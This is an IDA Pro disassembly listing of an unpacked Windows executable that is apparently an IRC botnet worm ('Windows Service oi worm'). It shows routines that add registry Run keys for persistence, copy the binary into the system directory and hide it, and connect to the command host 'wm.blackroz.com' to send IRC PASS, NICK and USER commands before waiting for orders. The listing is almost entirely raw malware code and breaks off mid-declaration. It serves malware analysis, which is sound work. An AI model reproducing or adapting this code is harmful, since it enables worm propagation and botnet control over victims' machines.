;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D1BAA961AB46F8AAC9AC4E4818D04E5E

; File Name   :	u:\work\d1baa961ab46f8aac9ac4e4818d04e5e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DF000 ( 913408.)
; Section size in file		: 000DF000 ( 913408.)
; Offset to raw	data for section: 00001000
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp0		segment	para public 'CODE' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_40121E+346p
					; sub_415972+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aWindowsService ; "Windows Service oi worm"


loc_401010:				; CODE XREF: sub_401000+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_426054[esi]
		push	dword_426050[esi]
		call	dword_4CDE9C	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_401051
		push	[ebp+arg_0]
		call	sub_417D40
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CDF08	; RegSetValueExA
		jmp	short loc_40105B
; ---------------------------------------------------------------------------


loc_401051:				; CODE XREF: sub_401000+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_4CDE54	; RegDeleteValueA


loc_40105B:				; CODE XREF: sub_401000+4Fj
		push	[ebp+var_4]
		call	dword_4CDEC0	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_401010
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401071	proc near		; CODE XREF: sub_4010AA+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_4010A3
		mov	ecx, 0FFh
		push	ebx


loc_401088:				; CODE XREF: sub_401071+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424228[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401088
		pop	ebx


loc_4010A3:				; CODE XREF: sub_401071+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_401071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AA	proc near		; CODE XREF: sub_4142F9+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_418235
		mov	[esp+10h+var_10], offset dword_426068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_418222
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_4010F5


loc_4010CF:				; CODE XREF: sub_4010AA+37j
		xor	eax, eax
		jmp	short loc_401116
; ---------------------------------------------------------------------------


loc_4010D3:				; CODE XREF: sub_4010AA+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_417F62
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010CF
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_417E7A
		add	esp, 10h


loc_4010F5:				; CODE XREF: sub_4010AA+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4010D3
		dec	ebx
		push	ebx
		push	esi
		call	sub_401071
		push	esi
		mov	ebx, eax
		call	sub_417E11
		push	edi
		call	sub_417DBB
		add	esp, 10h
		mov	eax, ebx


loc_401116:				; CODE XREF: sub_4010AA+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111A	proc near		; DATA XREF: sub_40121E+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_440E44
		call	dword_4CDF78	; closesocket
		call	sub_40A2F3
		call	dword_4CDE48	; WSACleanup
		call	dword_4CDE48	; WSACleanup
		mov	ebx, dword_424078
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_4182F0
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_4400B4
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_424074	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_424070	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_42406C	; CreateProcessA
		test	eax, eax
		jz	short loc_4011DF
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_424068
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011DF:				; CODE XREF: sub_40111A+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_4400B0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_424064	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_401202:				; DATA XREF: .nsp0:00426004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_415DD7
		pop	ecx
		mov	dword_4CDC38, eax
		pop	ecx
		retn
sub_40111A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40121E	proc near		; CODE XREF: sub_41A513+C9p

var_984		= byte ptr -984h
var_880		= byte ptr -880h
var_87F		= byte ptr -87Fh
var_6F0		= byte ptr -6F0h
var_5F0		= byte ptr -5F0h
var_4EC		= byte ptr -4ECh
var_3EC		= byte ptr -3ECh
var_2E8		= byte ptr -2E8h
var_1E4		= byte ptr -1E4h
var_E0		= dword	ptr -0E0h
var_D4		= dword	ptr -0D4h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 984h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40111A
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4240A8
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CDC3C, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		call	sub_408C5C
		push	2
		call	dword_4CDF8C	; SetErrorMode
		push	7530h
		push	offset dword_4260A8
		push	ebx
		push	ebx
		call	dword_4240A4	; CreateMutexA
		push	eax
		call	dword_4240A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40129E
		push	1
		call	dword_424064	; ExitProcess


loc_40129E:				; CODE XREF: sub_40121E+76j
		lea	eax, [ebp+var_880]
		push	eax
		push	202h
		call	dword_4CDE60	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4017B6
		cmp	[ebp+var_880], 2
		jnz	loc_4017B0
		xor	eax, eax
		mov	al, [ebp+var_87F]
		cmp	al, 2
		jnz	loc_4017B0
		mov	esi, 104h
		lea	eax, [ebp+var_3EC]
		push	esi
		push	eax
		call	dword_424074	; GetSystemDirectoryA
		lea	eax, [ebp+var_2E8]
		push	esi
		push	eax
		push	ebx
		call	dword_42409C	; GetModuleHandleA
		push	eax
		call	dword_424070	; GetModuleFileNameA
		lea	eax, [ebp+var_4EC]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_418731
		lea	eax, [ebp+var_4EC]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		push	offset dword_42D214
		lea	eax, [ebp+var_5F0]
		push	esi
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_3EC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	sub_418660
		add	esp, 30h
		test	eax, eax
		jnz	loc_401501
		cmp	dword_426090, ebx
		mov	esi, offset byte_4260F8
		jz	short loc_401396
		push	esi
		xor	edi, edi
		call	sub_417D40
		sub	eax, 4
		pop	ecx
		jz	short loc_401396


loc_401373:				; CODE XREF: sub_40121E+176j
		call	sub_418642
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_4260F8[edi], dl
		inc	edi
		call	sub_417D40
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401373


loc_401396:				; CODE XREF: sub_40121E+145j
					; sub_40121E+153j
		lea	eax, [ebp+var_3EC]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E4]
		push	offset dword_42D20C
		push	eax
		call	sub_4185E6
		add	esp, 10h
		lea	eax, [ebp+var_1E4]
		push	eax
		call	dword_424098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013D6
		lea	eax, [ebp+var_1E4]
		push	80h
		push	eax
		call	dword_424094	; SetFileAttributesA


loc_4013D6:				; CODE XREF: sub_40121E+1A4j
		mov	esi, dword_424090
		xor	edi, edi
		jmp	short loc_401402
; ---------------------------------------------------------------------------


loc_4013E0:				; CODE XREF: sub_40121E+1F7j
		call	dword_42408C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_401417
		cmp	eax, 20h
		jz	short loc_4013F4
		cmp	eax, 5
		jnz	short loc_401417


loc_4013F4:				; CODE XREF: sub_40121E+1CFj
		xor	edi, edi
		push	3A98h
		inc	edi
		call	dword_424078	; Sleep


loc_401402:				; CODE XREF: sub_40121E+1C0j
		lea	eax, [ebp+var_1E4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_4013E0


loc_401417:				; CODE XREF: sub_40121E+1CAj
					; sub_40121E+1D4j
		lea	eax, [ebp+var_1E4]
		push	eax
		call	sub_4158AC
		pop	ecx
		lea	eax, [ebp+var_1E4]
		push	7
		push	eax
		call	dword_424094	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_4182F0
		push	44h
		lea	eax, [ebp+var_E0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_4182F0
		mov	[ebp+var_E0], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_D4], offset byte_4400B4
		mov	[ebp+var_B4], esi
		mov	[ebp+var_B0], bx
		call	dword_424088	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_424084	; OpenProcess
		lea	ecx, [ebp+var_2E8]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		lea	eax, [ebp+var_984]
		push	offset dword_42D200
		push	eax
		call	sub_4185E6
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_3EC]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_984]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		call	dword_42406C	; CreateProcessA
		test	eax, eax
		jz	short loc_401501
		push	0C8h
		call	dword_424078	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_424068
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_4CDE48	; WSACleanup
		push	ebx
		call	dword_424064	; ExitProcess


loc_401501:				; CODE XREF: sub_40121E+134j
					; sub_40121E+2B9j
		cmp	dword_4DCD90, 2
		jle	short loc_40154D
		mov	eax, dword_4DCD94
		push	dword ptr [eax+4]
		call	sub_4184D9
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4240A0	; WaitForSingleObject
		push	esi
		call	dword_424068	; CloseHandle
		mov	eax, dword_4DCD94
		cmp	[eax+8], ebx
		jz	short loc_40154D
		push	7D0h
		call	dword_424078	; Sleep
		mov	eax, dword_4DCD94
		push	dword ptr [eax+8]
		call	dword_424080	; DeleteFileA


loc_40154D:				; CODE XREF: sub_40121E+2EAj
					; sub_40121E+314j
		cmp	dword_426094, ebx
		jz	short loc_40156A
		cmp	dword_4CDFAC, ebx
		jnz	short loc_40156A
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_401000
		pop	ecx


loc_40156A:				; CODE XREF: sub_40121E+335j
					; sub_40121E+33Dj
		lea	eax, [ebp+var_9C]
		push	offset dword_42D1E4
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_9C]
		push	ebx
		push	eax
		call	sub_40A130
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_413F3A
		push	0B80h
		push	ebx
		push	offset dword_4400B8
		call	sub_4182F0
		lea	eax, [ebp+var_9C]
		push	offset unk_42D1C0
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_9C]
		push	1
		push	eax
		call	sub_40A130
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_42407C
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_4170C9
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_440E4C[esi], eax
		jnz	short loc_40160A
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset unk_42D180
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_40160A:				; CODE XREF: sub_40121E+3CFj
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_413F3A
		push	2
		call	sub_40A372
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40168F
		lea	eax, [ebp+var_9C]
		push	offset dword_42D154
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_9C]
		push	2
		push	eax
		call	sub_40A130
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F755
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_440E4C[esi], eax
		jnz	short loc_401682
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset dword_42D120
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_401682:				; CODE XREF: sub_40121E+447j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_413F3A
		pop	ecx


loc_40168F:				; CODE XREF: sub_40121E+403j
		call	sub_418642
		push	7Fh
		and	eax, 3
		push	offset aWm_blackroz_co ; "wm.blackroz.com"
		push	offset dword_4CDC44
		mov	dword_4CDDAC, eax
		call	sub_418350
		mov	eax, dword_426070
		push	3Fh
		mov	edi, offset dword_4CDCC4
		push	offset aWm	; "#wm#"
		push	edi
		mov	dword_4CDD94, eax
		call	sub_418350
		push	3Fh
		mov	esi, offset dword_4CDD04
		push	offset a_w_	; ".w."
		push	esi
		call	sub_418350
		mov	dword_4CDD98, ebx


loc_4016E1:				; CODE XREF: sub_40121E+53Ej
					; sub_40121E+588j
		add	esp, 24h


loc_4016E4:				; CODE XREF: sub_40121E+546j
		mov	[ebp+var_4], ebx


loc_4016E7:				; CODE XREF: sub_40121E+4FFj
		push	offset dword_4CDC40
		mov	dword_4CDDA8, ebx
		call	sub_4017BF
		cmp	eax, 2
		jz	loc_4017AB
		cmp	dword_4CDDA8, ebx
		jz	short loc_40170B
		dec	[ebp+var_4]


loc_40170B:				; CODE XREF: sub_40121E+4E8j
		push	0BB8h
		call	dword_424078	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4016E7
		cmp	[ebp+var_C], ebx
		jz	short loc_40175E
		push	7Fh
		push	offset aWm_blackroz_co ; "wm.blackroz.com"
		push	offset dword_4CDC44
		call	sub_418350
		mov	eax, dword_426070
		push	3Fh
		push	offset aWm	; "#wm#"
		push	edi
		mov	dword_4CDD94, eax
		call	sub_418350
		push	3Fh
		push	offset a_w_	; ".w."
		push	esi
		call	sub_418350
		mov	[ebp+var_C], ebx
		jmp	short loc_4016E1
; ---------------------------------------------------------------------------


loc_40175E:				; CODE XREF: sub_40121E+504j
		cmp	byte_4260DC, bl
		jz	loc_4016E4
		push	7Fh
		push	offset byte_4260DC
		push	offset dword_4CDC44
		call	sub_418350
		mov	eax, dword_426074
		push	3Fh
		push	offset dword_4260EC
		push	edi
		mov	dword_4CDD94, eax
		call	sub_418350
		push	3Fh
		push	offset dword_4260F4
		push	esi
		call	sub_418350
		mov	[ebp+var_C], 1
		jmp	loc_4016E1
; ---------------------------------------------------------------------------


loc_4017AB:				; CODE XREF: sub_40121E+4DCj
		call	sub_40A2F3


loc_4017B0:				; CODE XREF: sub_40121E+A1j
					; sub_40121E+B1j
		call	dword_4CDE48	; WSACleanup


loc_4017B6:				; CODE XREF: sub_40121E+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40121E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017BF	proc near		; CODE XREF: sub_40121E+4D4p
					; DATA XREF: sub_401AA1+5D66o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_4017E4:				; CODE XREF: sub_4017BF+E6j
					; sub_4017BF+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CDEE4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_409B6B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401921
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_4182F0
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4260A4
		push	dword_4260A0
		push	eax
		call	sub_40A0C6
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_440E50
		push	edi
		push	eax
		call	sub_418350
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CDF60	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_440E44[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CDE90	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018AA
		push	esi
		call	dword_4CDF78	; closesocket
		call	sub_409B94
		push	7D0h


loc_40189F:				; CODE XREF: sub_4017BF+146j
		call	dword_424078	; Sleep
		jmp	loc_4017E4
; ---------------------------------------------------------------------------


loc_4018AA:				; CODE XREF: sub_4017BF+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_42D21C
		call	sub_413FAE
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401925
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CDF78	; closesocket
		test	edi, edi
		jz	loc_4017E4
		cmp	edi, 1
		jnz	short loc_401907
		push	0DBBA0h
		jmp	short loc_40189F
; ---------------------------------------------------------------------------


loc_401907:				; CODE XREF: sub_4017BF+13Fj
		cmp	edi, 2
		jnz	loc_4017E4
		push	[ebp+var_34]
		call	sub_40A446
		pop	ecx
		push	edi
		pop	eax


loc_40191B:				; CODE XREF: sub_4017BF+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401921:				; CODE XREF: sub_4017BF+5Aj
		xor	eax, eax
		jmp	short loc_40191B
sub_4017BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401925	proc near		; CODE XREF: sub_4017BF+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_418880
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401943:				; CODE XREF: sub_401925+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401943
		cmp	byte_4CDDA4, bl
		jz	short loc_40196A
		push	offset byte_4CDDA4
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_408B7B
		add	esp, 0Ch


loc_40196A:				; CODE XREF: sub_401925+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40A0C6
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4185E6
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4019D4
		push	[ebp+arg_0]
		call	dword_4CDF78	; closesocket
		push	1388h
		call	dword_424078	; Sleep


loc_4019CD:				; CODE XREF: sub_401925+D9j
					; sub_401925+153j
		xor	eax, eax


loc_4019CF:				; CODE XREF: sub_401925+16Fj
					; sub_401925+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4019D4:				; CODE XREF: sub_401925+92j
					; sub_401925+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDEFC	; recv
		test	eax, eax
		jle	short loc_4019CD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4155A3
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_4019D4
		lea	edi, [ebp+var_A90]


loc_401A25:				; CODE XREF: sub_401925+165j
		xor	esi, esi
		inc	esi


loc_401A28:				; CODE XREF: sub_401925+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401AA1
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A6B
		push	7D0h
		call	dword_424078	; Sleep
		jmp	short loc_401A28
; ---------------------------------------------------------------------------


loc_401A6B:				; CODE XREF: sub_401925+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401A99
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401A91
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019CD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A25
		jmp	loc_4019D4
; ---------------------------------------------------------------------------


loc_401A91:				; CODE XREF: sub_401925+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_4019CF
; ---------------------------------------------------------------------------


loc_401A99:				; CODE XREF: sub_401925+149j
		push	2
		pop	eax
		jmp	loc_4019CF
sub_401925	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AA1	proc near		; CODE XREF: sub_401925+12Ap

var_4AE8	= byte ptr -4AE8h
var_46E8	= byte ptr -46E8h
var_4558	= byte ptr -4558h
var_4454	= byte ptr -4454h
var_4350	= byte ptr -4350h
var_4250	= byte ptr -4250h
var_4150	= byte ptr -4150h
var_4050	= byte ptr -4050h
var_3F4C	= byte ptr -3F4Ch
var_3E4C	= byte ptr -3E4Ch
var_3C4C	= byte ptr -3C4Ch
var_3B4C	= byte ptr -3B4Ch
var_3A4C	= byte ptr -3A4Ch
var_39E8	= byte ptr -39E8h
var_37E8	= byte ptr -37E8h
var_36E8	= byte ptr -36E8h
var_35E8	= byte ptr -35E8h
var_34E8	= byte ptr -34E8h
var_33E8	= dword	ptr -33E8h
var_33E4	= dword	ptr -33E4h
var_33E0	= byte ptr -33E0h
var_3360	= byte ptr -3360h
var_32E0	= byte ptr -32E0h
var_3260	= byte ptr -3260h
var_31E0	= byte ptr -31E0h
var_3160	= dword	ptr -3160h
var_315C	= dword	ptr -315Ch
var_3158	= dword	ptr -3158h
var_3154	= dword	ptr -3154h
var_3150	= byte ptr -3150h
var_2EC9	= byte ptr -2EC9h
var_2EC8	= byte ptr -2EC8h
var_2DC4	= dword	ptr -2DC4h
var_2DBC	= dword	ptr -2DBCh
var_2DB8	= dword	ptr -2DB8h
var_2DB4	= dword	ptr -2DB4h
var_2DB0	= dword	ptr -2DB0h
var_2DA8	= dword	ptr -2DA8h
var_2DA4	= dword	ptr -2DA4h
var_2DA0	= byte ptr -2DA0h
var_2D20	= byte ptr -2D20h
var_2CA0	= byte ptr -2CA0h
var_2C20	= byte ptr -2C20h
var_2BA0	= dword	ptr -2BA0h
var_2B9C	= dword	ptr -2B9Ch
var_2B98	= dword	ptr -2B98h
var_2B94	= dword	ptr -2B94h
var_2B90	= dword	ptr -2B90h
var_2B8C	= byte ptr -2B8Ch
var_2B0C	= byte ptr -2B0Ch
var_2A8C	= byte ptr -2A8Ch
var_2A0C	= byte ptr -2A0Ch
var_298C	= dword	ptr -298Ch
var_2988	= dword	ptr -2988h
var_2984	= dword	ptr -2984h
var_2980	= dword	ptr -2980h
var_297C	= dword	ptr -297Ch
var_2978	= byte ptr -2978h
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_27F8	= byte ptr -27F8h
var_2778	= dword	ptr -2778h
var_2774	= dword	ptr -2774h
var_2770	= dword	ptr -2770h
var_276C	= dword	ptr -276Ch
var_2768	= dword	ptr -2768h
var_2764	= byte ptr -2764h
var_26E4	= byte ptr -26E4h
